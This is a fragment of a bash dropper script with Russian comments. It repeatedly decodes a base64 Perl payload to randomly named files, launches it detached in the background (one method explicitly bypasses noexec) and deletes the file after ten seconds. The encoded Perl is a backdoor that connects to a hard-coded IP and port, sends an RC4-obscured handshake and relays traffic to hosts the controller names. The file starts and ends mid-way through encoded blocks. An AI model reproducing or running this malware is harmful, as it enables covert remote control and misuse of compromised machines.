b3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_4485feeb() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjAnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_a45a8064() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" 